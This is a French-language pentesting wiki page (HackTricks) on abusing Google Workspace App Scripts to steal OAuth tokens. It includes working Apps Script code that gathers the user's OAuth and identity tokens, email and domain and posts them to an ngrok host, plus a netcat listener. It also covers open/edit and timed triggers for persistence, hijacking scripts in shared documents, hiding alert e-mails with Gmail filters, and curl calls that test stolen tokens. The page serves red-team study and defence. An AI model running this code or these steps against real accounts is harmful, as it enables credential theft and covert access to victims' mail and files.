GWS - App Scripts

Support HackTricks

App Scripts

App Scripts est un code qui sera déclenché lorsqu'un utilisateur ayant des droits d'éditeur accède au document auquel l'App Script est lié et après avoir accepté l'invite OAuth. Ils peuvent également être configurés pour être exécutés à intervalles réguliers par le propriétaire de l'App Script (Persistance).

Create App Script

Il existe plusieurs façons de créer un App Script, bien que les plus courantes soient à partir d'un Document Google (de tout type) et en tant que projet autonome :

Create a container-bound project from Google Docs, Sheets, or Slides
  1. Ouvrez un document Docs, une feuille de calcul Sheets ou une présentation Slides.

  2. Cliquez sur Extensions > Google Apps Script.

  3. Dans l'éditeur de script, cliquez sur Projet sans titre.

  4. Donnez un nom à votre projet et cliquez sur Renommer.

Create a standalone project

Pour créer un projet autonome à partir d'Apps Script :

  1. Cliquez sur Nouveau projet.

  2. Dans l'éditeur de script, cliquez sur Projet sans titre.

  3. Donnez un nom à votre projet et cliquez sur Renommer.

Create a standalone project from Google Drive
  1. Ouvrez Google Drive.

  2. Cliquez sur Nouveau > Plus > Google Apps Script.

Create a container-bound project from Google Forms
  1. Ouvrez un formulaire dans Google Forms.

  2. Cliquez sur Plus more_vert > Éditeur de script.

  3. Dans l'éditeur de script, cliquez sur Projet sans titre.

  4. Donnez un nom à votre projet et cliquez sur Renommer.

Create a standalone project using the clasp command line tool

clasp est un outil en ligne de commande qui vous permet de créer, tirer/pousser et déployer des projets Apps Script depuis un terminal.

Consultez le guide de l'interface de ligne de commande utilisant clasp pour plus de détails.

App Script Scenario

Create Google Sheet with App Script

Commencez par créer un App Script, ma recommandation pour ce scénario est de créer une feuille Google et d'aller à Extensions > App Scripts, cela ouvrira un nouvel App Script pour vous lié à la feuille.

Leak token

Pour donner accès au token OAuth, vous devez cliquer sur Services + et ajouter des scopes comme :

  • AdminDirectory : Accéder aux utilisateurs et groupes du répertoire (si l'utilisateur a suffisamment de permissions)

  • Gmail : Pour accéder aux données Gmail

  • Drive : Pour accéder aux données Drive

  • Google Sheets API : Pour que cela fonctionne avec le déclencheur

Pour changer vous-même les scopes nécessaires, vous pouvez aller dans les paramètres du projet et activer : Afficher le fichier manifeste "appsscript.json" dans l'éditeur.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Pour capturer la requête, vous pouvez simplement exécuter :

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions demandées pour exécuter le script d'application :

Comme une demande externe est faite, l'invite OAuth demandera également la permission d'atteindre des points de terminaison externes.

Créer un déclencheur

Une fois l'application lue, cliquez sur ⏰ Déclencheurs pour créer un déclencheur. Comme fonction à exécuter, choisissez getToken, s'exécute au déploiement Head, dans la source d'événement sélectionnez Depuis la feuille de calcul et le type d'événement sélectionnez À l'ouverture ou À la modification (selon vos besoins) et enregistrez.

Notez que vous pouvez vérifier les exécutions des scripts d'application dans l'onglet Exécutions si vous souhaitez déboguer quelque chose.

Partage

Pour déclencher le script d'application, la victime doit se connecter avec Accès Éditeur.

Le jeton utilisé pour exécuter le script d'application sera celui du créateur du déclencheur, même si le fichier est ouvert en tant qu'Éditeur par d'autres utilisateurs.

Abuser des documents Partagés avec Moi

Si quelqu'un vous a partagé un document avec des scripts d'application et un déclencheur utilisant le Head du script d'application (pas un déploiement fixe), vous pouvez modifier le code du script d'application (ajoutant par exemple les fonctions de vol de jeton), y accéder, et le script d'application sera exécuté avec les permissions de l'utilisateur qui a partagé le document avec vous ! (notez que le jeton OAuth des propriétaires aura comme portées d'accès celles données lors de la création du déclencheur).

Une notification sera envoyée au créateur du script indiquant que quelqu'un a modifié le script (Que diriez-vous d'utiliser les permissions gmail pour générer un filtre afin de prévenir l'alerte ?)

Si un attaquant modifie les portées du script d'application, les mises à jour ne seront pas appliquées au document tant qu'un nouveau déclencheur avec les modifications n'est pas créé. Par conséquent, un attaquant ne pourra pas voler le jeton du propriétaire créateur avec plus de portées que celles qu'il a définies dans le déclencheur qu'il a créé.

Copier au lieu de partager

Lorsque vous créez un lien pour partager un document, un lien similaire à celui-ci est créé : https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Si vous changez la fin "/edit" pour "/copy", au lieu d'y accéder, Google vous demandera si vous souhaitez générer une copie du document :

Si l'utilisateur le copie et y accède, à la fois le contenu du document et les scripts d'application seront copiés, cependant les déclencheurs ne le sont pas, donc rien ne sera exécuté.

Partager en tant qu'application Web

Notez qu'il est également possible de partager un script d'application en tant qu'application Web (dans l'éditeur du script d'application, déployez en tant qu'application Web), mais une alerte comme celle-ci apparaîtra :

Suivie de l'invite OAuth typique demandant les permissions nécessaires.

Test

Vous pouvez tester un jeton recueilli pour lister les e-mails avec :

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Liste des calendriers de l'utilisateur :

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script comme Persistance

Une option pour la persistance serait de créer un document et d'ajouter un déclencheur pour la fonction getToken et de partager le document avec l'attaquant afin que chaque fois que l'attaquant ouvre le fichier, il exfiltre le token de la victime.

Il est également possible de créer un App Script et de le faire déclencher toutes les X minutes (comme chaque minute, heure, jour...). Un attaquant qui a compromis des identifiants ou une session d'une victime pourrait définir un déclencheur temporel pour un App Script et exfiltrer un token OAuth très privilégié chaque jour :

Il suffit de créer un App Script, d'aller dans Déclencheurs, de cliquer sur Ajouter un déclencheur, et de sélectionner comme source d'événement Déclenché par le temps et de choisir les options qui vous conviennent le mieux :

Cela créera un e-mail d'alerte de sécurité et un message push sur votre mobile vous alertant à ce sujet.

Contournement de l'invite non vérifiée du document partagé

De plus, si quelqu'un vous a partagé un document avec un accès éditeur, vous pouvez générer des App Scripts à l'intérieur du document et le PROPRIÉTAIRE (créateur) du document sera le propriétaire de l'App Script.

Cela signifie que le créateur du document apparaîtra comme créateur de tout App Script que quiconque avec un accès éditeur crée à l'intérieur.

Cela signifie également que l'App Script sera de confiance par l'environnement Workspace du créateur du document.

Cela signifie également que si un App Script existait déjà et que des personnes ont accordé l'accès, quiconque ayant la permission Éditeur sur le document peut le modifier et abuser de cet accès. Pour abuser de cela, vous avez également besoin que des personnes déclenchent l'App Script. Et un truc astucieux est de publier le script en tant qu'application web. Lorsque les personnes qui ont déjà accordé l'accès à l'App Script accèdent à la page web, elles déclencheront l'App Script (cela fonctionne également en utilisant des balises <img>).

Support HackTricks

Last updated